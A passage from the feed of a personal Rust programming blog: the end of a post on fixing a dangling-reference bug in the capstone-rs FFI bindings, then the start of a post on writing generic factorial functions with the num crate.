    &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;| &lt;&#x2F;b&gt;                        &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;-&lt;&#x2F;b&gt; &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;temporary value dropped here while still borrowed&lt;&#x2F;b&gt;
&lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;...&lt;&#x2F;b&gt;
&lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;581&lt;&#x2F;b&gt; &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;| &lt;&#x2F;b&gt;      }
    &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;| &lt;&#x2F;b&gt;      &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;-&lt;&#x2F;b&gt; &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;temporary value needs to live until here&lt;&#x2F;b&gt;
    &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;|&lt;&#x2F;b&gt;
    &lt;b class=&quot;BOLD&quot;&gt;&lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot; style=&quot;color:#5555ff;&quot;&gt;= &lt;&#x2F;b&gt;&lt;b class=&quot;BOLD&quot;&gt;note&lt;&#x2F;b&gt;: consider using a `let` binding to increase its lifetime
&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;Instructions&lt;&#x2F;code&gt; temporary variable returned by &lt;code&gt;expect()&lt;&#x2F;code&gt; does not live long enough.
The &lt;code&gt;Instructions&lt;&#x2F;code&gt; type:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Returns an iterator over the instructions with the &lt;code&gt;iter()&lt;&#x2F;code&gt; method&lt;&#x2F;li&gt;
&lt;li&gt;Frees the memory allocated by &lt;code&gt;disasm_all()&lt;&#x2F;code&gt; in the &lt;code&gt;Drop&lt;&#x2F;code&gt; implementation.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;That means that if the temporary &lt;code&gt;Instructions&lt;&#x2F;code&gt; is dropped early, then:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;The underlying buffer with the instructions will be dropped.&lt;&#x2F;li&gt;
&lt;li&gt;The final &lt;code&gt;collect()&lt;&#x2F;code&gt;&#x27;d vector will contain dangling references to instructions that have already been freed.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;In order to fix the test code, I rewrote the snippet as:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; cs: &amp;amp;mut Capstone
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; insns_buf: Vec&amp;lt;u8&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; insns_backing: Instructions = cs.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;disasm_all&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;insns_buf, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    .&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;expect&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Failed to disassemble&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; insns: Vec&amp;lt;_&amp;gt; = insns_backing.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;iter&lt;&#x2F;span&gt;&lt;span&gt;().&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;collect&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The local variable &lt;code&gt;insns_backing&lt;&#x2F;code&gt; lives until the end of the function, so the &lt;code&gt;insns&lt;&#x2F;code&gt; variable does not contain dangling references.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;why-does-adding-a-lifetime-work&quot;&gt;Why does adding a lifetime work?&lt;a class=&quot;zola-anchor&quot; href=&quot;#why-does-adding-a-lifetime-work&quot; aria-label=&quot;Anchor link for: why-does-adding-a-lifetime-work&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;del&gt;
The &quot;temporary value does not live long enough&quot; error led me to the bug in the code.
But, I&#x27;m not sure why adding a lifetime to the `Capstone` struct *fixed* the error.
Why didn&#x27;t the Rust compiler emit a warning when there was no lifetime?
&lt;&#x2F;del&gt;
&lt;p&gt;If you have any ideas, please share them in the &lt;a href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;rust&#x2F;comments&#x2F;9hwr5r&#x2F;a_rust_ffi_adventure_in_unsafety&#x2F;&quot;&gt;comments&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Update 2018-10-05:&lt;&#x2F;strong&gt;
Merged &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-rs&#x2F;pull&#x2F;49&quot;&gt;pull-request&lt;&#x2F;a&gt; from &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;earthengine&quot;&gt;earthengine&lt;&#x2F;a&gt; that removes the extra lifetime on the &lt;code&gt;Capstone&lt;&#x2F;code&gt; structure.
The Capstone structure &quot;owns&quot; the handle allocation, so no lifetime needs to be exposed.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;This bug was originally classified as Mac OS-only.
Even then, tests only failed sometimes.&lt;&#x2F;p&gt;
&lt;p&gt;There were several failed attempts to fix the bug, but I discovered (and fixed) other bugs.
For example, the &lt;code&gt;Capstone&lt;&#x2F;code&gt; struct was found to be &lt;code&gt;Send&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;Sync&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;I was also able to finaly track down the underlying bug with Valgrind.
Even though Valgrind is usually used on code that is written in C&#x2F;C++, Valgrind is a useful tool for programs written in Rust.&lt;&#x2F;p&gt;
&lt;p&gt;I learned several lessons in debugging this issue:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Extensive tests&lt;&#x2F;strong&gt; help you &lt;em&gt;find&lt;&#x2F;em&gt; and &lt;em&gt;fix&lt;&#x2F;em&gt; bugs.
capstone-rs contains over
&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;capstone-rust&#x2F;capstone-rs&#x2F;blob&#x2F;0bbdf95853d947935efa4b8faa1753fada694764&#x2F;src&#x2F;lib.rs#L166-L2393&quot;&gt;2000 lines of tests&lt;&#x2F;a&gt;.
Without the Rust tests, the test failure on Mac OS would have never been reported.&lt;&#x2F;li&gt;
&lt;li&gt;Use &lt;strong&gt;debugging tools&lt;&#x2F;strong&gt;.
Valgrind&#x27;s Memcheck plugin helped track down the bug.
&lt;em&gt;Safe&lt;&#x2F;em&gt; Rust code prevents the types of bugs that the Valgrind plugins catch.
But, &lt;em&gt;unsafe&lt;&#x2F;em&gt; Rust code and C code &lt;em&gt;can&lt;&#x2F;em&gt; have these types of bugs.
Hence, tools that are used to debug C code are useful for debugging unsafe Rust code.&lt;&#x2F;li&gt;
&lt;li&gt;You must be careful with not only the internal implementation, but the &lt;strong&gt;public interface&lt;&#x2F;strong&gt; to Rust FFI bindings.
The public interfaces (including lifetimes) tells the Rust type system how long different items may live.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;em&gt;Thanks to &lt;a href=&quot;https:&#x2F;&#x2F;www.gulshansingh.com&#x2F;&quot;&gt;Gulshan Singh&lt;&#x2F;a&gt; for reviewing this post.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;strong&gt;Update 2021-10-17&lt;&#x2F;strong&gt;:
Updated links to recent Rust documentation&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;rust&#x2F;comments&#x2F;9hwr5r&#x2F;a_rust_ffi_adventure_in_unsafety&#x2F;&quot;&gt;&lt;strong&gt;Comments on Reddit&lt;&#x2F;strong&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Generic numeric functions in safe, stable Rust with the num crate</title>
        <published>2017-04-01T00:00:00+00:00</published>
        <updated>2017-04-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://travisf.net/blog/rust-generic-numbers/"/>
        <id>https://travisf.net/blog/rust-generic-numbers/</id>
        
        <content type="html" xml:base="https://travisf.net/blog/rust-generic-numbers/">&lt;p&gt;Note: This post assumes some familiarity with Rust, in particular
&lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;book&#x2F;second-edition&#x2F;ch10-02-traits.html&quot;&gt;traits&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;a class=&quot;zola-anchor&quot; href=&quot;#introduction&quot; aria-label=&quot;Anchor link for: introduction&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;It is useful to be able to write code that is generic over multiple types, such as integer types.&lt;&#x2F;p&gt;
&lt;p&gt;The Rust standard library originally had the unstable (deprecated since release 1.11.0) traits &lt;a href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20160517155723&#x2F;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;num&#x2F;trait.Zero.html&quot;&gt;Zero&lt;&#x2F;a&gt; and &lt;a href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20160507195327mp_&#x2F;http:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;num&#x2F;trait.One.html&quot;&gt;One&lt;&#x2F;a&gt; that could partially help, but these required the nightly compiler.
Since then, the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-num&#x2F;num&quot;&gt;&lt;code&gt;num&lt;&#x2F;code&gt; crate&lt;&#x2F;a&gt; has moved out of the standard library.&lt;&#x2F;p&gt;
&lt;p&gt;In this post, I used stable Rust version 1.15.1.
The code examples will probably work with earlier versions as well.&lt;&#x2F;p&gt;
&lt;p&gt;All example code is available on &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tmfink&#x2F;rust-generic-nums&quot;&gt;GitHub&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-do-we-need&quot;&gt;What do we need?&lt;a class=&quot;zola-anchor&quot; href=&quot;#what-do-we-need&quot; aria-label=&quot;Anchor link for: what-do-we-need&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In order to be able to write a generic function for various number types, we need a trait that guarantees several things, including:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Addition&lt;&#x2F;li&gt;
&lt;li&gt;Multiplication&lt;&#x2F;li&gt;
&lt;li&gt;Equality testing&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-num&#x2F;num&quot;&gt;&lt;code&gt;num&lt;&#x2F;code&gt; crate&lt;&#x2F;a&gt; has the useful &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;num&#x2F;0.4.0&#x2F;num&#x2F;trait.PrimInt.html&quot;&gt;PrimInt trait&lt;&#x2F;a&gt; which inherits various traits.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;factorial-example&quot;&gt;Factorial example&lt;a class=&quot;zola-anchor&quot; href=&quot;#factorial-example&quot; aria-label=&quot;Anchor link for: factorial-example&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Factorial&quot;&gt;factorial&lt;&#x2F;a&gt; function is defined to be the product of integers from &lt;code&gt;1&lt;&#x2F;code&gt; to &lt;code&gt;n&lt;&#x2F;code&gt; (inclusive).
The special case of &lt;code&gt;0! = 1&lt;&#x2F;code&gt;.
For example, &lt;code&gt;4! = 4 * 3 * 2 * 1 = 24&lt;&#x2F;code&gt;.
Factorial is defined only for non-negative integers.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;concrete-function&quot;&gt;Concrete function&lt;a class=&quot;zola-anchor&quot; href=&quot;#concrete-function&quot; aria-label=&quot;Anchor link for: concrete-function&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Let&#x27;s start with an non-generic factorial function:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F; Find the factorial of n
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;factorial&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;u32&lt;&#x2F;span&gt;&lt;span&gt;) -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;u32 &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;..n + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;product&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This function only supports the concrete &lt;code&gt;u32&lt;&#x2F;code&gt; type.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;generic-attempt-1&quot;&gt;Generic attempt 1&lt;a class=&quot;zola-anchor&quot; href=&quot;#generic-attempt-1&quot; aria-label=&quot;Anchor link for: generic-attempt-1&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;We make the &lt;code&gt;n&lt;&#x2F;code&gt; parameter have the generic type &lt;code&gt;T&lt;&#x2F;code&gt; with the &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;book&#x2F;ch10-02-traits.html#trait-bound-syntax&quot;&gt;trait bound&lt;&#x2F;a&gt; requiring the &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;num&#x2F;0.4.0&#x2F;num&#x2F;trait.PrimInt.html&quot;&gt;&lt;code&gt;PrimInt&lt;&#x2F;code&gt; trait&lt;&#x2F;a&gt; and &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;num&#x2F;0.4.0&#x2F;num&#x2F;trait.Unsigned.html&quot;&gt;&lt;code&gt;Unsigned&lt;&#x2F;code&gt; trait&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;extern crate&lt;&#x2F;span&gt;&lt;span&gt; num;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;num::{PrimInt, Unsigned};
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F; Find the factorial of n
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;factorial&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;T&amp;gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span&gt;: T) -&amp;gt; T
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;where&lt;&#x2F;span&gt;&lt;span&gt; T: PrimInt + Unsigned
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;..n + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;product&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We get the following error:&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;error[E0308]&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;: mismatched types&lt;&#x2F;span&gt;
 &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;--&amp;gt; &lt;&#x2F;span&gt;src&#x2F;main.rs:9:13
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;|&lt;&#x2F;span&gt;
&lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;9&lt;&#x2F;span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;| &lt;&#x2F;span&gt;    (1..n + 1).product()
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;| &lt;&#x2F;span&gt;            &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;^&lt;&#x2F;span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;expected type parameter, found integral variable&lt;&#x2F;span&gt;
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;|&lt;&#x2F;span&gt;
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;note&lt;&#x2F;span&gt;: expected type `T`
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;note&lt;&#x2F;span&gt;:    found type `{integer}`

&lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;error[E0308]&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;: mismatched types&lt;&#x2F;span&gt;
 &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;--&amp;gt; &lt;&#x2F;span&gt;src&#x2F;main.rs:9:9
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;|&lt;&#x2F;span&gt;
&lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;9&lt;&#x2F;span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;| &lt;&#x2F;span&gt;    (1..n + 1).product()
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;| &lt;&#x2F;span&gt;        &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;^^^^^&lt;&#x2F;span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;expected integral variable, found type parameter&lt;&#x2F;span&gt;
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;|&lt;&#x2F;span&gt;
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;note&lt;&#x2F;span&gt;: expected type `{integer}`
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;note&lt;&#x2F;span&gt;:    found type `T`

  ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;generic-attempt-2&quot;&gt;Generic attempt 2&lt;a class=&quot;zola-anchor&quot; href=&quot;#generic-attempt-2&quot; aria-label=&quot;Anchor link for: generic-attempt-2&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;It seems like we cannot use the &lt;code&gt;1&lt;&#x2F;code&gt; literal.
Luckily, the &lt;code&gt;PrimInt&lt;&#x2F;code&gt; trait inherits from the &lt;code&gt;One&lt;&#x2F;code&gt; trait (through &lt;code&gt;Num&lt;&#x2F;code&gt;), which requires the &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;num&#x2F;0.4.0&#x2F;num&#x2F;trait.One.html#tymethod.one&quot;&gt;&lt;code&gt;one()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; method.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;extern crate&lt;&#x2F;span&gt;&lt;span&gt; num;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;num::{PrimInt, Unsigned};
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F; Find the factorial of n
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;factorial&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;T&amp;gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span&gt;: T) -&amp;gt; T
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;where&lt;&#x2F;span&gt;&lt;span&gt; T: PrimInt + Unsigned
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    (T::one()..n + T::one()).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;product&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;However, we still get the error related to the required traits (like &lt;code&gt;Step&lt;&#x2F;code&gt;) being implemented.
We could state in a &lt;code&gt;where&lt;&#x2F;code&gt; clause that the &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;iter&#x2F;trait.Step.html&quot;&gt;&lt;code&gt;Step&lt;&#x2F;code&gt; trait&lt;&#x2F;a&gt; is required, but as of writing, &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;27741&quot;&gt;&lt;code&gt;Step&lt;&#x2F;code&gt; is not stable&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;error&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;: no method named `product` found for type `std::ops::Range&amp;lt;T&amp;gt;` in the current scope&lt;&#x2F;span&gt;
 &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;--&amp;gt; &lt;&#x2F;span&gt;src&#x2F;main.rs:9:30
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;|&lt;&#x2F;span&gt;
&lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;9&lt;&#x2F;span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;| &lt;&#x2F;span&gt;    (T::one()..n + T::one()).product()
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;| &lt;&#x2F;span&gt;                             &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;^^^^^^^&lt;&#x2F;span&gt;
